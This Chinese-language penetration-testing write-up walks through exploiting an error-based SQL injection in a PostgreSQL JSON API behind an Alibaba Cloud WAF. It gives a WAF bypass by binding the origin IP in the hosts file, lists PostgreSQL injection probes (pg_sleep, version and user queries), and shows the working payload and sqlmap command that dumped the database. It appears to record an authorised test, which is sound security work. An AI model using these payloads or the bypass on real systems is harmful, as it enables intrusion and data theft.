问题背景
在最近的项目中发现了一个PostgreSQL数据库的注入,死活利用不了,sqlmap一把梭根本不管用,都+‘--level 3 ’了,还是没有办法解决。
情况分析
数据包分析:传输利用json格式进行传输,格式有可能锁定
网络防御分析:当传输恶意代码时会引起阿里云WAF报警,可以确定存在阿里云WAF或其他阿里云的防御设备(因为做的黑盒测试,并没有去确认用的是什么)
解决思路
1.因为外层有一个云WAF在,我们一定要先把这个绕过在说其他的,要不所有的攻击行为都是扯淡的。
2.在解决了WAF以后调整JSON格式,确保可以正常发送数据。
3.根据返回内容来推断应该如何整理我们的数据,实现注入行为。
4.确定注入成功的语句,尝试利用sqlmap进行机械化操作。
实现
1.云WAF的绕过,利用真实地址的绑定方法,修改hosts文件把目标地址和IP进行绑定,可以绕过大量的云的初级防御。(请不要对这个方法抱太大的希望,我这个能成功只是个例,并不代表这么简单就可以绕过WAF),从原理上来看https://me.idealli.com/post/8724e336c和这个差不多。
2.能过了防御机制后看一下传输的格式
目标控制在year参数上,也就是说会在2020上进行注入测试。目标在传输过程中会带差单引号自己携带格式,那么我们在构造语句的时候就要注意在我们的payload的后辍上要保证目标返回的闭合。也就是说要在后面加上'--'或‘;’等来完成语句。
3.因为返回的数据中存在太多项目中的敏感信息,我就不上图了,但简单说明一下:在返回的数据包中出现了完整的sql语句,但并不是一条,而是两条,(我不怎么写SQL语句,说的有可能存在问题)我简单的以为是报错型的数据库注入直接就去用sqlmap跑了,但现实告诉我并没有这么简单.
因为postregsql的语法在很多地方其实和其他数据库有不同的地方,比如查询数据库版本:select version();/select @@version。会有不同的写法,我们在测试过程中有很多点要去按照他的规则去写。
#简单的payload parameter = 2-1 parameter = 1 and 1 = 2 parameter = 1 or 1 = 2-1 parameter = 1' and '1'='1#and -> or parameter = 1' and '1'='2#and -> or
#postgresql 的几个简单判断payload:
parameter=1;select pg_sleep(5)
parameter=1';select pg_sleep(5)
parameter=1');select pg_sleep(5)
parameter=1);select pg_sleep(5)
parameter=1));select pg_sleep(5)
parameter=select pg_sleep(5)
SELECT version() #查看版本信息
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;#这里是usename不是username
SELECT getpgusername();
#查看当前数据库
SELECT current_database()
但在我经过了多次的测试后发现仍然无法进行注入,返回的信息也依然是那复杂的语句。开始怀疑是不是只是把错误给抛出来了。我利用and 1=1 --确认问题是肯定存在的,可是接入后续的语句都失败了,推测是不是不是简单的报错注入。但抛出的信息那么的刺眼,可以告诉我肯定是报错的注入。
于是我利用返回的信息大胆的编写了一个
2020‘)as jiuo Where 1=1 and 1=(select version())--
这时成功的返回了我想要的信息,可以确认是报错注入了,并且确认了payload
4.通过确认的payload我们可以去编辑我们的sqlmap语句,进行机械测试了,按照我们已知的信息
- 限定数据库类型
- 后辍为'--'
- 测试方法为报错型
- 难度较大
我们可以写出:sqlmap.py -r b.txt --dbms PostgreSQL --suffix -- -v 3 --level 3 --tech E
(B.txt为我们的数据包)
经过测试sqlmap 成功